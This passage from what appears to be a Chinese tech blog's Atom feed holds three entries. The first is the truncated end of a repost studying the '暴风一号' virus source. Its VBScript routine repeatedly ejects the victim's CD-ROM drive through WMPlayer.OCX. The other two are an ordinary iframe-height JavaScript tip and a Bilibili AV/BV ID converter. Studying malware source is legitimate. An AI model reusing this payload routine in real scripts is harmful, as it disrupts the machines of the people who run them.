class="comment">'//创建WMPlayer.OCX插件对象</span></span><br><span class="line">    <span class="keyword">Set</span> colCDROMs = WMP.cdromCollection <span class="comment">'//系统中光驱</span></span><br><span class="line">    <span class="keyword">If</span> colCDROMs.Count &gt;<span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">For</span> i=<span class="number">1</span> <span class="keyword">to</span> Times</span><br><span class="line">            colCDROMs.Item(<span class="number">0</span>).eject() <span class="comment">'//退出抽取式设备</span></span><br><span class="line">            WScript.Sleep <span class="number">3000</span></span><br><span class="line">            colCDROMs.Item(<span class="number">0</span>).eject()</span><br><span class="line">        <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Set</span> WMP = <span class="literal">Nothing</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br></pre></td></tr></table></figure><blockquote><p>转载自<a href="https://blog.csdn.net/ccx_john/article/details/39118211" target="_blank" rel="noopener">暴风一号 病毒 源码学习</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;暴风一号 病毒 源码学习，vbs源码&lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>js获取iframe高度</title>
    <link href="https://gddhy.net/2024/js-huo-qu-iframe-gao-du/"/>
    <id>https://gddhy.net/2024/js-huo-qu-iframe-gao-du/</id>
    <published>2024-01-07T14:19:44.000Z</published>
    <updated>2026-05-29T05:26:45.521Z</updated>
    
    <content type="html"><![CDATA[<p>获取 iframe 的高度可以通过访问 iframe 的 contentDocument 对象和 scrollHeight 属性来实现。 <a id="more"></a> 具体方法如下：</p><figure class="highlight dart"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> iframe = <span class="built_in">document</span>.getElementById(<span class="string">'myiframe'</span>);</span><br><span class="line"><span class="keyword">var</span> iframeHeight = iframe.contentDocument.documentElement.scrollHeight;</span><br></pre></td></tr></table></figure><p>这里的 <code>myiframe</code> 是 iframe 的 id， <code>contentDocument</code> 是 iframe 的文档对象， <code>scrollHeight</code> 是文档的滚动高度。如果你要在 iframe 中嵌入一个页面并且想要自适应 iframe 高度，可以使用以下代码：</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> setIframeHeight(iframe) &#123;</span><br><span class="line">  <span class="keyword">if</span> (iframe) &#123;</span><br><span class="line">    <span class="keyword">var</span> iframeWin = iframe.contentWindow || iframe.contentDocument.parentWindow;</span><br><span class="line">    <span class="keyword">if</span> (iframeWin.<span class="built_in">document</span>.body) &#123;</span><br><span class="line">      iframe.height = iframeWin.<span class="built_in">document</span>.documentElement.scrollHeight || iframeWin.<span class="built_in">document</span>.body.scrollHeight;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个函数将根据 iframe 的内容自动调整 iframe 的高度。如果您需要在 iframe 加载完成后自动调整高度，可以使用以下代码：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> iframe = <span class="built_in">document</span>.getElementById(<span class="string">'myiframe'</span>);</span><br><span class="line">iframe.onload = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">  setIframeHeight(iframe);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>请注意，在不同的浏览器和环境中，获取 iframe 高度的方法可能会有所不同。在某些情况下，还需要考虑跨域访问的问题。</p><blockquote><p>转载 <a href="https://juejin.cn/s/js获取iframe高度" target="_blank" rel="noopener">js获取iframe高度</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;获取 iframe 的高度可以通过访问 iframe 的 contentDocument 对象和 scrollHeight 属性来实现。
    
    </summary>
    
    
    
      <category term="JavaScript" scheme="https://gddhy.net/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>B站AV号BV号转换</title>
    <link href="https://gddhy.net/2024/b-zhan-av-hao-bv-hao-zhuan-huan/"/>
    <id>https://gddhy.net/2024/b-zhan-av-hao-bv-hao-zhuan-huan/</id>
    <published>2024-01-02T21:45:15.000Z</published>
    <updated>2026-05-29T05:26:45.505Z</updated>
    
    <content type="html"><![CDATA[<div id="txt_view">哔哩哔哩AV号BV号转换工具，找回隐藏的AV号</div><a id="more"></a><script>document.getElementById("txt_view").style.display = "none";</script><p><input type="text" id="av"><button onclick="return av() && false">AV 号转 BV 号</button><br><br><input type="text" id="bv"><button onclick="return bv() && false">BV 号转 AV 号</button></p><p id="result">结果：</p><script>if(navigator.userAgent.match(/QQ\//i)) {document.getElementById("av").style.display = "none";document.getElementById('bv').style.display='none';document.getElementById('result').innerHTML = `不支持在QQ内使用，请前往浏览器打开`;}</script><script>// 改写自 https://www.zhihu.com/question/381784377/answer/1099438784，并加上一些适当的处理// 我这人虽然是写 JS 的，但是看 Python 不是问题'use strict';const table = [...'fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'];const s = [11, 10, 3, 8, 4, 6];const xor = 177451812;const add = 8728348608;const av2bv = (av) => {    let num = NaN;    if (Object.prototype.toString.call(av) === '[object Number]') {        num = av;    } else if (Object.prototype.toString.call(av) === '[object String]') {        num = parseInt(av.replace(/[^0-9]/gu, ''));    };    if (isNaN(num) || num <= 0) {        // 网页版直接输出这个结果了        return '¿你在想桃子？';    };    num = (num ^ xor) + add;    let result = [...'BV1  4 1 7  '];    let i = 0;    while (i < 6) {        // 这里改写差点犯了运算符优先级的坑        // 果然 Python 也不是特别熟练        // 说起来 ** 按照传统语法应该写成 Math.pow()，但是我个人更喜欢 ** 一些        result[s[i]] = table[Math.floor(num / 58 ** i) % 58];        i += 1;    };    return result.join('');};const bv2av = (bv) => {    let str = '';    if (bv.length === 12) {        str = bv;    } else if (bv.length === 10) {        str = `BV${bv}`;    // 根据官方 API，BV 号开头的 BV1 其实可以省略    // 不过单独省略个 B 又不行（    } else if (bv.length === 9) {        str = `BV1${bv}`;    } else {        return '¿你在想桃子？';    };    if (!str.match(/[Bb][Vv][fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF]{10}/gu)) {        return '¿你在想桃子？';    };    let result = 0;    let i = 0;    while (i < 6) {        result += table.indexOf(str[s[i]]) * 58 ** i;        i += 1;    };    return `av${result - add ^ xor}`;};const av = () => {    let result = av2bv(document.getElementById('av').value);    if (result !== '¿你在想桃子？') {        document.getElementById('result').innerHTML = `结果：<a href="https://www.bilibili.com/video/${result}">${result}</a>`;    } else {        document.getElementById('result').innerHTML = `结果：${result}`;    };};const bv = () => {    let result = bv2av(document.getElementById('bv').value);    if (result !== '¿你在想桃子？') {        document.getElementById('result').innerHTML = `结果：<a href="https://www.bilibili.com/video/${result}">${result}</a>`;    } else {        document.getElementById('result').innerHTML = `结果：${result}`;    };};document.getElementById('av').addEventListener('keydown', (event) => {    if (event.keyCode === 13) {        av();    };});document.getElementById('bv').addEventListener('keydown', (event) => {    if (event.keyCode === 13) {        bv();    };});</script><blockquote><p>哔哩哔哩AV号BV号在线转换工具<br>算法来自 <a href="https://www.zhihu.com/question/381784377/answer/1099438784" target="_blank" rel="noopener">https://www.zhihu.com/question/381784377/answer/1099438784</a><br>源码来自 <a href="https://mrhso.github.io/IshisashiWebsite/BVwhodoneit/" target="_blank" rel="noopener">https://mrhso.github.io/IshisashiWebsite/BVwhodoneit/</a>  </p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;div id=&quot;txt_view&quot;&gt;
哔哩哔哩AV号BV号转换工具，找回隐藏的AV号
&lt;/div&gt;
    
    </summary>
    
    
    
  </entry>
  
</feed>
